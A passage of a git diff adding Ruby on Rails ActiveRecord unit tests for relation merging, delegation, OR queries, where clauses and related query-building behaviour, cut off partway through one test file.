+      assert_equal department.chefs, Hotel.includes(["departments" => "chefs"]).first.chefs
+    end
+  end
+
+  def test_reflect_on_association_accepts_symbols
+    assert_nothing_raised do
+      assert_equal Hotel.reflect_on_association(:departments).name, :departments
+    end
+  end
+
+  def test_reflect_on_association_accepts_strings
+    assert_nothing_raised do
+      assert_equal Hotel.reflect_on_association("departments").name, :departments
+    end
+  end
+
+  private
+    def assert_reflection(klass, association, options)
+      assert reflection = klass.reflect_on_association(association)
+      options.each do |method, value|
+        assert_equal(value, reflection.send(method))
+      end
+    end
+end
diff --git a/activerecord/test/cases/relation/delegation_test.rb b/activerecord/test/cases/relation/delegation_test.rb
new file mode 100644
index 0000000000..3089aee959
--- /dev/null
+++ b/activerecord/test/cases/relation/delegation_test.rb
@@ -0,0 +1,60 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/post"
+require "models/comment"
+
+module ActiveRecord
+  module DelegationWhitelistTests
+    ARRAY_DELEGATES = [
+      :+, :-, :|, :&, :[], :shuffle,
+      :all?, :collect, :compact, :detect, :each, :each_cons, :each_with_index,
+      :exclude?, :find_all, :flat_map, :group_by, :include?, :length,
+      :map, :none?, :one?, :partition, :reject, :reverse,
+      :sample, :second, :sort, :sort_by, :third,
+      :to_ary, :to_set, :to_xml, :to_yaml, :join,
+      :in_groups, :in_groups_of, :to_sentence, :to_formatted_s, :as_json
+    ]
+
+    ARRAY_DELEGATES.each do |method|
+      define_method "test_delegates_#{method}_to_Array" do
+        assert_respond_to target, method
+      end
+    end
+  end
+
+  module DeprecatedArelDelegationTests
+    AREL_METHODS = [
+      :with, :orders, :froms, :project, :projections, :taken, :constraints, :exists, :locked, :where_sql,
+      :ast, :source, :join_sources, :to_dot, :create_insert, :create_true, :create_false
+    ]
+
+    def test_deprecate_arel_delegation
+      AREL_METHODS.each do |method|
+        assert_deprecated { target.public_send(method) }
+      end
+    end
+  end
+
+  class DelegationAssociationTest < ActiveRecord::TestCase
+    include DelegationWhitelistTests
+    include DeprecatedArelDelegationTests
+
+    fixtures :posts
+
+    def target
+      Post.first.comments
+    end
+  end
+
+  class DelegationRelationTest < ActiveRecord::TestCase
+    include DelegationWhitelistTests
+    include DeprecatedArelDelegationTests
+
+    fixtures :comments
+
+    def target
+      Comment.all
+    end
+  end
+end
diff --git a/activerecord/test/cases/relation/merging_test.rb b/activerecord/test/cases/relation/merging_test.rb
new file mode 100644
index 0000000000..b68b3723f6
--- /dev/null
+++ b/activerecord/test/cases/relation/merging_test.rb
@@ -0,0 +1,157 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/author"
+require "models/comment"
+require "models/developer"
+require "models/computer"
+require "models/post"
+require "models/project"
+require "models/rating"
+
+class RelationMergingTest < ActiveRecord::TestCase
+  fixtures :developers, :comments, :authors, :author_addresses, :posts
+
+  def test_relation_merging
+    devs = Developer.where("salary >= 80000").merge(Developer.limit(2)).merge(Developer.order("id ASC").where("id < 3"))
+    assert_equal [developers(:david), developers(:jamis)], devs.to_a
+
+    dev_with_count = Developer.limit(1).merge(Developer.order("id DESC")).merge(Developer.select("developers.*"))
+    assert_equal [developers(:poor_jamis)], dev_with_count.to_a
+  end
+
+  def test_relation_to_sql
+    post = Post.first
+    sql = post.comments.to_sql
+    assert_match(/.?post_id.? = #{post.id}\z/i, sql)
+  end
+
+  def test_relation_merging_with_arel_equalities_keeps_last_equality
+    devs = Developer.where(Developer.arel_table[:salary].eq(80000)).merge(
+      Developer.where(Developer.arel_table[:salary].eq(9000))
+    )
+    assert_equal [developers(:poor_jamis)], devs.to_a
+  end
+
+  def test_relation_merging_with_arel_equalities_keeps_last_equality_with_non_attribute_left_hand
+    salary_attr = Developer.arel_table[:salary]
+    devs = Developer.where(
+      Arel::Nodes::NamedFunction.new("abs", [salary_attr]).eq(80000)
+    ).merge(
+      Developer.where(
+        Arel::Nodes::NamedFunction.new("abs", [salary_attr]).eq(9000)
+      )
+    )
+    assert_equal [developers(:poor_jamis)], devs.to_a
+  end
+
+  def test_relation_merging_with_eager_load
+    relations = []
+    relations << Post.order("comments.id DESC").merge(Post.eager_load(:last_comment)).merge(Post.all)
+    relations << Post.eager_load(:last_comment).merge(Post.order("comments.id DESC")).merge(Post.all)
+
+    relations.each do |posts|
+      post = posts.find { |p| p.id == 1 }
+      assert_equal Post.find(1).last_comment, post.last_comment
+    end
+  end
+
+  def test_relation_merging_with_locks
+    devs = Developer.lock.where("salary >= 80000").order("id DESC").merge(Developer.limit(2))
+    assert devs.locked?
+  end
+
+  def test_relation_merging_with_preload
+    [Post.all.merge(Post.preload(:author)), Post.preload(:author).merge(Post.all)].each do |posts|
+      assert_queries(2) { assert posts.first.author }
+    end
+  end
+
+  def test_relation_merging_with_joins
+    comments = Comment.joins(:post).where(body: "Thank you for the welcome").merge(Post.where(body: "Such a lovely day"))
+    assert_equal 1, comments.count
+  end
+
+  def test_relation_merging_with_association
+    assert_queries(2) do  # one for loading post, and another one merged query
+      post = Post.where(body: "Such a lovely day").first
+      comments = Comment.where(body: "Thank you for the welcome").merge(post.comments)
+      assert_equal 1, comments.count
+    end
+  end
+
+  test "merge collapses wheres from the LHS only" do
+    left = Post.where(title: "omg").where(comments_count: 1)
+    right = Post.where(title: "wtf").where(title: "bbq")
+
+    merged = left.merge(right)
+
+    assert_not_includes merged.to_sql, "omg"
+    assert_includes merged.to_sql, "wtf"
+    assert_includes merged.to_sql, "bbq"
+  end
+
+  def test_merging_reorders_bind_params
+    post  = Post.first
+    right = Post.where(id: 1)
+    left  = Post.where(title: post.title)
+
+    merged = left.merge(right)
+    assert_equal post, merged.first
+  end
+
+  def test_merging_compares_symbols_and_strings_as_equal
+    post = PostThatLoadsCommentsInAnAfterSaveHook.create!(title: "First Post", body: "Blah blah blah.")
+    assert_equal "First comment!", post.comments.where(body: "First comment!").first_or_create.body
+  end
+
+  def test_merging_with_from_clause
+    relation = Post.all
+    assert relation.from_clause.empty?
+    relation = relation.merge(Post.from("posts"))
+    refute relation.from_clause.empty?
+  end
+end
+
+class MergingDifferentRelationsTest < ActiveRecord::TestCase
+  fixtures :posts, :authors, :author_addresses, :developers
+
+  test "merging where relations" do
+    hello_by_bob = Post.where(body: "hello").joins(:author).
+      merge(Author.where(name: "Bob")).order("posts.id").pluck("posts.id")
+
+    assert_equal [posts(:misc_by_bob).id,
+                  posts(:other_by_bob).id], hello_by_bob
+  end
+
+  test "merging order relations" do
+    posts_by_author_name = Post.limit(3).joins(:author).
+      merge(Author.order(:name)).pluck("authors.name")
+
+    assert_equal ["Bob", "Bob", "David"], posts_by_author_name
+
+    posts_by_author_name = Post.limit(3).joins(:author).
+      merge(Author.order("name")).pluck("authors.name")
+
+    assert_equal ["Bob", "Bob", "David"], posts_by_author_name
+  end
+
+  test "merging order relations (using a hash argument)" do
+    posts_by_author_name = Post.limit(4).joins(:author).
+      merge(Author.order(name: :desc)).pluck("authors.name")
+
+    assert_equal ["Mary", "Mary", "Mary", "David"], posts_by_author_name
+  end
+
+  test "relation merging (using a proc argument)" do
+    dev = Developer.where(name: "Jamis").first
+
+    comment_1 = dev.comments.create!(body: "I'm Jamis", post: Post.first)
+    rating_1 = comment_1.ratings.create!
+
+    comment_2 = dev.comments.create!(body: "I'm John", post: Post.first)
+    comment_2.ratings.create!
+
+    assert_equal dev.ratings, [rating_1]
+  end
+end
diff --git a/activerecord/test/cases/relation/mutation_test.rb b/activerecord/test/cases/relation/mutation_test.rb
new file mode 100644
index 0000000000..ad3700b73a
--- /dev/null
+++ b/activerecord/test/cases/relation/mutation_test.rb
@@ -0,0 +1,145 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/post"
+
+module ActiveRecord
+  class RelationMutationTest < ActiveRecord::TestCase
+    (Relation::MULTI_VALUE_METHODS - [:references, :extending, :order, :unscope, :select]).each do |method|
+      test "##{method}!" do
+        assert relation.public_send("#{method}!", :foo).equal?(relation)
+        assert_equal [:foo], relation.public_send("#{method}_values")
+      end
+    end
+
+    test "#_select!" do
+      assert relation._select!(:foo).equal?(relation)
+      assert_equal [:foo], relation.select_values
+    end
+
+    test "#order!" do
+      assert relation.order!("name ASC").equal?(relation)
+      assert_equal ["name ASC"], relation.order_values
+    end
+
+    test "#order! with symbol prepends the table name" do
+      assert relation.order!(:name).equal?(relation)
+      node = relation.order_values.first
+      assert node.ascending?
+      assert_equal :name, node.expr.name
+      assert_equal "posts", node.expr.relation.name
+    end
+
+    test "#order! on non-string does not attempt regexp match for references" do
+      obj = Object.new
+      assert_not_called(obj, :=~) do
+        assert relation.order!(obj)
+        assert_equal [obj], relation.order_values
+      end
+    end
+
+    test "#references!" do
+      assert relation.references!(:foo).equal?(relation)
+      assert_includes relation.references_values, "foo"
+    end
+
+    test "extending!" do
+      mod, mod2 = Module.new, Module.new
+
+      assert relation.extending!(mod).equal?(relation)
+      assert_equal [mod], relation.extending_values
+      assert relation.is_a?(mod)
+
+      relation.extending!(mod2)
+      assert_equal [mod, mod2], relation.extending_values
+    end
+
+    test "extending! with empty args" do
+      relation.extending!
+      assert_equal [], relation.extending_values
+    end
+
+    (Relation::SINGLE_VALUE_METHODS - [:lock, :reordering, :reverse_order, :create_with, :skip_query_cache]).each do |method|
+      test "##{method}!" do
+        assert relation.public_send("#{method}!", :foo).equal?(relation)
+        assert_equal :foo, relation.public_send("#{method}_value")
+      end
+    end
+
+    test "#from!" do
+      assert relation.from!("foo").equal?(relation)
+      assert_equal "foo", relation.from_clause.value
+    end
+
+    test "#lock!" do
+      assert relation.lock!("foo").equal?(relation)
+      assert_equal "foo", relation.lock_value
+    end
+
+    test "#reorder!" do
+      @relation = relation.order("foo")
+
+      assert relation.reorder!("bar").equal?(relation)
+      assert_equal ["bar"], relation.order_values
+      assert relation.reordering_value
+    end
+
+    test "#reorder! with symbol prepends the table name" do
+      assert relation.reorder!(:name).equal?(relation)
+      node = relation.order_values.first
+
+      assert node.ascending?
+      assert_equal :name, node.expr.name
+      assert_equal "posts", node.expr.relation.name
+    end
+
+    test "reverse_order!" do
+      @relation = Post.order("title ASC, comments_count DESC")
+
+      relation.reverse_order!
+
+      assert_equal "title DESC", relation.order_values.first
+      assert_equal "comments_count ASC", relation.order_values.last
+
+      relation.reverse_order!
+
+      assert_equal "title ASC", relation.order_values.first
+      assert_equal "comments_count DESC", relation.order_values.last
+    end
+
+    test "create_with!" do
+      assert relation.create_with!(foo: "bar").equal?(relation)
+      assert_equal({ foo: "bar" }, relation.create_with_value)
+    end
+
+    test "merge!" do
+      assert relation.merge!(select: :foo).equal?(relation)
+      assert_equal [:foo], relation.select_values
+    end
+
+    test "merge with a proc" do
+      assert_equal [:foo], relation.merge(-> { select(:foo) }).select_values
+    end
+
+    test "none!" do
+      assert relation.none!.equal?(relation)
+      assert_equal [NullRelation], relation.extending_values
+      assert relation.is_a?(NullRelation)
+    end
+
+    test "distinct!" do
+      relation.distinct! :foo
+      assert_equal :foo, relation.distinct_value
+    end
+
+    test "skip_query_cache!" do
+      relation.skip_query_cache!
+      assert relation.skip_query_cache_value
+    end
+
+    private
+      def relation
+        @relation ||= Relation.new(FakeKlass, Post.arel_table, Post.predicate_builder)
+      end
+  end
+end
diff --git a/activerecord/test/cases/relation/or_test.rb b/activerecord/test/cases/relation/or_test.rb
new file mode 100644
index 0000000000..b01801b41f
--- /dev/null
+++ b/activerecord/test/cases/relation/or_test.rb
@@ -0,0 +1,130 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/author"
+require "models/categorization"
+require "models/post"
+
+module ActiveRecord
+  class OrTest < ActiveRecord::TestCase
+    fixtures :posts
+    fixtures :authors
+
+    def test_or_with_relation
+      expected = Post.where("id = 1 or id = 2").to_a
+      assert_equal expected, Post.where("id = 1").or(Post.where("id = 2")).to_a
+    end
+
+    def test_or_identity
+      expected = Post.where("id = 1").to_a
+      assert_equal expected, Post.where("id = 1").or(Post.where("id = 1")).to_a
+    end
+
+    def test_or_with_null_left
+      expected = Post.where("id = 1").to_a
+      assert_equal expected, Post.none.or(Post.where("id = 1")).to_a
+    end
+
+    def test_or_with_null_right
+      expected = Post.where("id = 1").to_a
+      assert_equal expected, Post.where("id = 1").or(Post.none).to_a
+    end
+
+    def test_or_with_bind_params
+      assert_equal Post.find([1, 2]), Post.where(id: 1).or(Post.where(id: 2)).to_a
+    end
+
+    def test_or_with_null_both
+      expected = Post.none.to_a
+      assert_equal expected, Post.none.or(Post.none).to_a
+    end
+
+    def test_or_without_left_where
+      expected = Post.all
+      assert_equal expected, Post.or(Post.where("id = 1")).to_a
+    end
+
+    def test_or_without_right_where
+      expected = Post.all
+      assert_equal expected, Post.where("id = 1").or(Post.all).to_a
+    end
+
+    def test_or_preserves_other_querying_methods
+      expected = Post.where("id = 1 or id = 2 or id = 3").order("body asc").to_a
+      partial = Post.order("body asc")
+      assert_equal expected, partial.where("id = 1").or(partial.where(id: [2, 3])).to_a
+      assert_equal expected, Post.order("body asc").where("id = 1").or(Post.order("body asc").where(id: [2, 3])).to_a
+    end
+
+    def test_or_with_incompatible_relations
+      error = assert_raises ArgumentError do
+        Post.order("body asc").where("id = 1").or(Post.order("id desc").where(id: [2, 3])).to_a
+      end
+
+      assert_equal "Relation passed to #or must be structurally compatible. Incompatible values: [:order]", error.message
+    end
+
+    def test_or_with_unscope_where
+      expected = Post.where("id = 1 or id = 2")
+      partial = Post.where("id = 1 and id != 2")
+      assert_equal expected, partial.or(partial.unscope(:where).where("id = 2")).to_a
+    end
+
+    def test_or_with_unscope_where_column
+      expected = Post.where("id = 1 or id = 2")
+      partial = Post.where(id: 1).where.not(id: 2)
+      assert_equal expected, partial.or(partial.unscope(where: :id).where("id = 2")).to_a
+    end
+
+    def test_or_with_unscope_order
+      expected = Post.where("id = 1 or id = 2")
+      assert_equal expected, Post.order("body asc").where("id = 1").unscope(:order).or(Post.where("id = 2")).to_a
+    end
+
+    def test_or_with_incompatible_unscope
+      error = assert_raises ArgumentError do
+        Post.order("body asc").where("id = 1").or(Post.order("body asc").where("id = 2").unscope(:order)).to_a
+      end
+
+      assert_equal "Relation passed to #or must be structurally compatible. Incompatible values: [:order]", error.message
+    end
+
+    def test_or_when_grouping
+      groups = Post.where("id < 10").group("body").select("body, COUNT(*) AS c")
+      expected = groups.having("COUNT(*) > 1 OR body like 'Such%'").to_a.map { |o| [o.body, o.c] }
+      assert_equal expected, groups.having("COUNT(*) > 1").or(groups.having("body like 'Such%'")).to_a.map { |o| [o.body, o.c] }
+    end
+
+    def test_or_with_named_scope
+      expected = Post.where("id = 1 or body LIKE '\%a\%'").to_a
+      assert_equal expected, Post.where("id = 1").or(Post.containing_the_letter_a)
+    end
+
+    def test_or_inside_named_scope
+      expected = Post.where("body LIKE '\%a\%' OR title LIKE ?", "%'%").order("id DESC").to_a
+      assert_equal expected, Post.order(id: :desc).typographically_interesting
+    end
+
+    def test_or_on_loaded_relation
+      expected = Post.where("id = 1 or id = 2").to_a
+      p = Post.where("id = 1")
+      p.load
+      assert_equal true, p.loaded?
+      assert_equal expected, p.or(Post.where("id = 2")).to_a
+    end
+
+    def test_or_with_non_relation_object_raises_error
+      assert_raises ArgumentError do
+        Post.where(id: [1, 2, 3]).or(title: "Rails")
+      end
+    end
+
+    def test_or_with_references_inequality
+      joined = Post.includes(:author)
+      actual = joined.where(authors: { id: 1 })
+        .or(joined.where(title: "I don't have any comments"))
+      expected = Author.find(1).posts + Post.where(title: "I don't have any comments")
+      assert_equal expected.sort_by(&:id), actual.sort_by(&:id)
+    end
+  end
+end
diff --git a/activerecord/test/cases/relation/predicate_builder_test.rb b/activerecord/test/cases/relation/predicate_builder_test.rb
new file mode 100644
index 0000000000..b432330deb
--- /dev/null
+++ b/activerecord/test/cases/relation/predicate_builder_test.rb
@@ -0,0 +1,18 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/topic"
+
+module ActiveRecord
+  class PredicateBuilderTest < ActiveRecord::TestCase
+    def test_registering_new_handlers
+      Topic.predicate_builder.register_handler(Regexp, proc do |column, value|
+        Arel::Nodes::InfixOperation.new("~", column, Arel.sql(value.source))
+      end)
+
+      assert_match %r{["`]topics["`]\.["`]title["`] ~ rails}i, Topic.where(title: /rails/).to_sql
+    ensure
+      Topic.reset_column_information
+    end
+  end
+end
diff --git a/activerecord/test/cases/relation/record_fetch_warning_test.rb b/activerecord/test/cases/relation/record_fetch_warning_test.rb
new file mode 100644
index 0000000000..22d32d75bc
--- /dev/null
+++ b/activerecord/test/cases/relation/record_fetch_warning_test.rb
@@ -0,0 +1,42 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/post"
+require "active_record/relation/record_fetch_warning"
+
+module ActiveRecord
+  class RecordFetchWarningTest < ActiveRecord::TestCase
+    fixtures :posts
+
+    def setup
+      @original_logger = ActiveRecord::Base.logger
+      @original_warn_on_records_fetched_greater_than = ActiveRecord::Base.warn_on_records_fetched_greater_than
+      @log = StringIO.new
+    end
+
+    def teardown
+      ActiveRecord::Base.logger = @original_logger
+      ActiveRecord::Base.warn_on_records_fetched_greater_than = @original_warn_on_records_fetched_greater_than
+    end
+
+    def test_warn_on_records_fetched_greater_than_allowed_limit
+      ActiveRecord::Base.logger = ActiveSupport::Logger.new(@log)
+      ActiveRecord::Base.logger.level = Logger::WARN
+      ActiveRecord::Base.warn_on_records_fetched_greater_than = 1
+
+      Post.all.to_a
+
+      assert_match(/Query fetched/, @log.string)
+    end
+
+    def test_does_not_warn_on_records_fetched_less_than_allowed_limit
+      ActiveRecord::Base.logger = ActiveSupport::Logger.new(@log)
+      ActiveRecord::Base.logger.level = Logger::WARN
+      ActiveRecord::Base.warn_on_records_fetched_greater_than = 100
+
+      Post.all.to_a
+
+      assert_no_match(/Query fetched/, @log.string)
+    end
+  end
+end
diff --git a/activerecord/test/cases/relation/where_chain_test.rb b/activerecord/test/cases/relation/where_chain_test.rb
new file mode 100644
index 0000000000..a68eb2b446
--- /dev/null
+++ b/activerecord/test/cases/relation/where_chain_test.rb
@@ -0,0 +1,107 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/post"
+require "models/comment"
+
+module ActiveRecord
+  class WhereChainTest < ActiveRecord::TestCase
+    fixtures :posts
+
+    def setup
+      super
+      @name = "title"
+    end
+
+    def test_not_inverts_where_clause
+      relation = Post.where.not(title: "hello")
+      expected_where_clause = Post.where(title: "hello").where_clause.invert
+
+      assert_equal expected_where_clause, relation.where_clause
+    end
+
+    def test_not_with_nil
+      assert_raise ArgumentError do
+        Post.where.not(nil)
+      end
+    end
+
+    def test_association_not_eq
+      expected = Comment.arel_table[@name].not_eq(Arel::Nodes::BindParam.new(1))
+      relation = Post.joins(:comments).where.not(comments: { title: "hello" })
+      assert_equal(expected.to_sql, relation.where_clause.ast.to_sql)
+    end
+
+    def test_not_eq_with_preceding_where
+      relation = Post.where(title: "hello").where.not(title: "world")
+      expected_where_clause =
+        Post.where(title: "hello").where_clause +
+        Post.where(title: "world").where_clause.invert
+
+      assert_equal expected_where_clause, relation.where_clause
+    end
+
+    def test_not_eq_with_succeeding_where
+      relation = Post.where.not(title: "hello").where(title: "world")
+      expected_where_clause =
+        Post.where(title: "hello").where_clause.invert +
+        Post.where(title: "world").where_clause
+
+      assert_equal expected_where_clause, relation.where_clause
+    end
+
+    def test_chaining_multiple
+      relation = Post.where.not(author_id: [1, 2]).where.not(title: "ruby on rails")
+      expected_where_clause =
+        Post.where(author_id: [1, 2]).where_clause.invert +
+        Post.where(title: "ruby on rails").where_clause.invert
+
+      assert_equal expected_where_clause, relation.where_clause
+    end
+
+    def test_rewhere_with_one_condition
+      relation = Post.where(title: "hello").where(title: "world").rewhere(title: "alone")
+      expected = Post.where(title: "alone")
+
+      assert_equal expected.where_clause, relation.where_clause
+    end
+
+    def test_rewhere_with_multiple_overwriting_conditions
+      relation = Post.where(title: "hello").where(body: "world").rewhere(title: "alone", body: "again")
+      expected = Post.where(title: "alone", body: "again")
+
+      assert_equal expected.where_clause, relation.where_clause
+    end
+
+    def test_rewhere_with_one_overwriting_condition_and_one_unrelated
+      relation = Post.where(title: "hello").where(body: "world").rewhere(title: "alone")
+      expected = Post.where(body: "world", title: "alone")
+
+      assert_equal expected.where_clause, relation.where_clause
+    end
+
+    def test_rewhere_with_range
+      relation = Post.where(comments_count: 1..3).rewhere(comments_count: 3..5)
+
+      assert_equal Post.where(comments_count: 3..5), relation
+    end
+
+    def test_rewhere_with_infinite_upper_bound_range
+      relation = Post.where(comments_count: 1..Float::INFINITY).rewhere(comments_count: 3..5)
+
+      assert_equal Post.where(comments_count: 3..5), relation
+    end
+
+    def test_rewhere_with_infinite_lower_bound_range
+      relation = Post.where(comments_count: -Float::INFINITY..1).rewhere(comments_count: 3..5)
+
+      assert_equal Post.where(comments_count: 3..5), relation
+    end
+
+    def test_rewhere_with_infinite_range
+      relation = Post.where(comments_count: -Float::INFINITY..Float::INFINITY).rewhere(comments_count: 3..5)
+
+      assert_equal Post.where(comments_count: 3..5), relation
+    end
+  end
+end
diff --git a/activerecord/test/cases/relation/where_clause_test.rb b/activerecord/test/cases/relation/where_clause_test.rb
new file mode 100644
index 0000000000..e5eb159d36
--- /dev/null
+++ b/activerecord/test/cases/relation/where_clause_test.rb
@@ -0,0 +1,241 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+
+class ActiveRecord::Relation
+  class WhereClauseTest < ActiveRecord::TestCase
+    test "+ combines two where clauses" do
+      first_clause = WhereClause.new([table["id"].eq(bind_param(1))])
+      second_clause = WhereClause.new([table["name"].eq(bind_param("Sean"))])
+      combined = WhereClause.new(
+        [table["id"].eq(bind_param(1)), table["name"].eq(bind_param("Sean"))],
+      )
+
+      assert_equal combined, first_clause + second_clause
+    end
+
+    test "+ is associative, but not commutative" do
+      a = WhereClause.new(["a"])
+      b = WhereClause.new(["b"])
+      c = WhereClause.new(["c"])
+
+      assert_equal a + (b + c), (a + b) + c
+      assert_not_equal a + b, b + a
+    end
+
+    test "an empty where clause is the identity value for +" do
+      clause = WhereClause.new([table["id"].eq(bind_param(1))])
+
+      assert_equal clause, clause + WhereClause.empty
+    end
+
+    test "merge combines two where clauses" do
+      a = WhereClause.new([table["id"].eq(1)])
+      b = WhereClause.new([table["name"].eq("Sean")])
+      expected = WhereClause.new([table["id"].eq(1), table["name"].eq("Sean")])
+
+      assert_equal expected, a.merge(b)
+    end
+
+    test "merge keeps the right side, when two equality clauses reference the same column" do
+      a = WhereClause.new([table["id"].eq(1), table["name"].eq("Sean")])
+      b = WhereClause.new([table["name"].eq("Jim")])
+      expected = WhereClause.new([table["id"].eq(1), table["name"].eq("Jim")])
+
+      assert_equal expected, a.merge(b)
+    end
+
+    test "merge removes bind parameters matching overlapping equality clauses" do
+      a = WhereClause.new(
+        [table["id"].eq(bind_param(1)), table["name"].eq(bind_param("Sean"))],
+      )
+      b = WhereClause.new(
+        [table["name"].eq(bind_param("Jim"))],
+      )
+      expected = WhereClause.new(
+        [table["id"].eq(bind_param(1)), table["name"].eq(bind_param("Jim"))],
+      )
+
+      assert_equal expected, a.merge(b)
+    end
+
+    test "merge allows for columns with the same name from different tables" do
+      table2 = Arel::Table.new("table2")
+      a = WhereClause.new(
+        [table["id"].eq(bind_param(1)), table2["id"].eq(bind_param(2))],
+      )
+      b = WhereClause.new(
+        [table["id"].eq(bind_param(3))],
+      )
+      expected = WhereClause.new(
+        [table2["id"].eq(bind_param(2)), table["id"].eq(bind_param(3))],
+      )
+
+      assert_equal expected, a.merge(b)
+    end
+
+    test "a clause knows if it is empty" do
+      assert WhereClause.empty.empty?
+      assert_not WhereClause.new(["anything"]).empty?
+    end
+
+    test "invert cannot handle nil" do
+      where_clause = WhereClause.new([nil])
+
+      assert_raises ArgumentError do
+        where_clause.invert
+      end
+    end
+
+    test "invert replaces each part of the predicate with its inverse" do
+      random_object = Object.new
+      original = WhereClause.new([
+        table["id"].in([1, 2, 3]),
+        table["id"].eq(1),
+        "sql literal",
+        random_object
+      ])
+      expected = WhereClause.new([
+        table["id"].not_in([1, 2, 3]),
+        table["id"].not_eq(1),
+        Arel::Nodes::Not.new(Arel::Nodes::SqlLiteral.new("sql literal")),
+        Arel::Nodes::Not.new(random_object)
+      ])
+
+      assert_equal expected, original.invert
+    end
+
+    test "except removes binary predicates referencing a given column" do
+      where_clause = WhereClause.new([
+        table["id"].in([1, 2, 3]),
+        table["name"].eq(bind_param("Sean")),
+        table["age"].gteq(bind_param(30)),
+      ])
+      expected = WhereClause.new([table["age"].gteq(bind_param(30))])
+
+      assert_equal expected, where_clause.except("id", "name")
+    end
+
+    test "except jumps over unhandled binds (like with OR) correctly" do
+      wcs = (0..9).map do |i|
+        WhereClause.new([table["id#{i}"].eq(bind_param(i))])
+      end
+
+      wc = wcs[0] + wcs[1] + wcs[2].or(wcs[3]) + wcs[4] + wcs[5] + wcs[6].or(wcs[7]) + wcs[8] + wcs[9]
+
+      expected = wcs[0] + wcs[2].or(wcs[3]) + wcs[5] + wcs[6].or(wcs[7]) + wcs[9]
+      actual = wc.except("id1", "id2", "id4", "id7", "id8")
+
+      assert_equal expected, actual
+    end
+
+    test "ast groups its predicates with AND" do
+      predicates = [
+        table["id"].in([1, 2, 3]),
+        table["name"].eq(bind_param(nil)),
+      ]
+      where_clause = WhereClause.new(predicates)
+      expected = Arel::Nodes::And.new(predicates)
+
+      assert_equal expected, where_clause.ast
+    end
+
+    test "ast wraps any SQL literals in parenthesis" do
+      random_object = Object.new
+      where_clause = WhereClause.new([
+        table["id"].in([1, 2, 3]),
+        "foo = bar",
+        random_object,
+      ])
+      expected = Arel::Nodes::And.new([
+        table["id"].in([1, 2, 3]),
+        Arel::Nodes::Grouping.new(Arel.sql("foo = bar")),
+        random_object,
+      ])
+
+      assert_equal expected, where_clause.ast
+    end
+
+    test "ast removes any empty strings" do
+      where_clause = WhereClause.new([table["id"].in([1, 2, 3])])
+      where_clause_with_empty = WhereClause.new([table["id"].in([1, 2, 3]), ""])
+
+      assert_equal where_clause.ast, where_clause_with_empty.ast
+    end
+
+    test "or joins the two clauses using OR" do
+      where_clause = WhereClause.new([table["id"].eq(bind_param(1))])
+      other_clause = WhereClause.new([table["name"].eq(bind_param("Sean"))])
+      expected_ast =
+        Arel::Nodes::Grouping.new(
+          Arel::Nodes::Or.new(table["id"].eq(bind_param(1)), table["name"].eq(bind_param("Sean")))
+        )
+
+      assert_equal expected_ast.to_sql, where_clause.or(other_clause).ast.to_sql
+    end
+
+    test "or returns an empty where clause when either side is empty" do
+      where_clause = WhereClause.new([table["id"].eq(bind_param(1))])
+
+      assert_equal WhereClause.empty, where_clause.or(WhereClause.empty)
+      assert_equal WhereClause.empty, WhereClause.empty.or(where_clause)
+    end
+
+    test "or places common conditions before the OR" do
+      a = WhereClause.new(
+        [table["id"].eq(bind_param(1)), table["name"].eq(bind_param("Sean"))],
+      )
+      b = WhereClause.new(
+        [table["id"].eq(bind_param(1)), table["hair_color"].eq(bind_param("black"))],
+      )
+
+      common = WhereClause.new(
+        [table["id"].eq(bind_param(1))],
+      )
+
+      or_clause = WhereClause.new([table["name"].eq(bind_param("Sean"))])
+        .or(WhereClause.new([table["hair_color"].eq(bind_param("black"))]))
+
+      assert_equal common + or_clause, a.or(b)
+    end
+
+    test "or can detect identical or as being a common condition" do
+      common_or = WhereClause.new([table["name"].eq(bind_param("Sean"))])
+        .or(WhereClause.new([table["hair_color"].eq(bind_param("black"))]))
+
+      a = common_or + WhereClause.new([table["id"].eq(bind_param(1))])
+      b = common_or + WhereClause.new([table["foo"].eq(bind_param("bar"))])
+
+      new_or = WhereClause.new([table["id"].eq(bind_param(1))])
+        .or(WhereClause.new([table["foo"].eq(bind_param("bar"))]))
+
+      assert_equal common_or + new_or, a.or(b)
+    end
+
+    test "or will use only common conditions if one side only has common conditions" do
+      only_common = WhereClause.new([
+        table["id"].eq(bind_param(1)),
+        "foo = bar",
+      ])
+
+      common_with_extra = WhereClause.new([
+        table["id"].eq(bind_param(1)),
+        "foo = bar",
+        table["extra"].eq(bind_param("pluto")),
+      ])
+
+      assert_equal only_common, only_common.or(common_with_extra)
+      assert_equal only_common, common_with_extra.or(only_common)
+    end
+
+    private
+
+      def table
+        Arel::Table.new("table")
+      end
+
+      def bind_param(value)
+        Arel::Nodes::BindParam.new(value)
+      end
+  end
+end
diff --git a/activerecord/test/cases/relation/where_test.rb b/activerecord/test/cases/relation/where_test.rb
new file mode 100644
index 0000000000..c45fd38bc9
--- /dev/null
+++ b/activerecord/test/cases/relation/where_test.rb
@@ -0,0 +1,333 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/author"
+require "models/binary"
+require "models/cake_designer"
+require "models/car"
+require "models/chef"
+require "models/post"
+require "models/comment"
+require "models/edge"
+require "models/essay"
+require "models/price_estimate"
+require "models/topic"
+require "models/treasure"
+require "models/vertex"
+
+module ActiveRecord
+  class WhereTest < ActiveRecord::TestCase
+    fixtures :posts, :edges, :authors, :author_addresses, :binaries, :essays, :cars, :treasures, :price_estimates, :topics
+
+    def test_where_copies_bind_params
+      author = authors(:david)
+      posts  = author.posts.where("posts.id != 1")
+      joined = Post.where(id: posts)
+
+      assert_operator joined.length, :>, 0
+
+      joined.each { |post|
+        assert_equal author, post.author
+        assert_not_equal 1, post.id
+      }
+    end
+
+    def test_where_copies_bind_params_in_the_right_order
+      author = authors(:david)
+      posts = author.posts.where.not(id: 1)
+      joined = Post.where(id: posts, title: posts.first.title)
+
+      assert_equal joined, [posts.first]
+    end
+
+    def test_where_copies_arel_bind_params
+      chef = Chef.create!
+      CakeDesigner.create!(chef: chef)
+
+      cake_designers = CakeDesigner.joins(:chef).where(chefs: { id: chef.id })
+      chefs = Chef.where(employable: cake_designers)
+
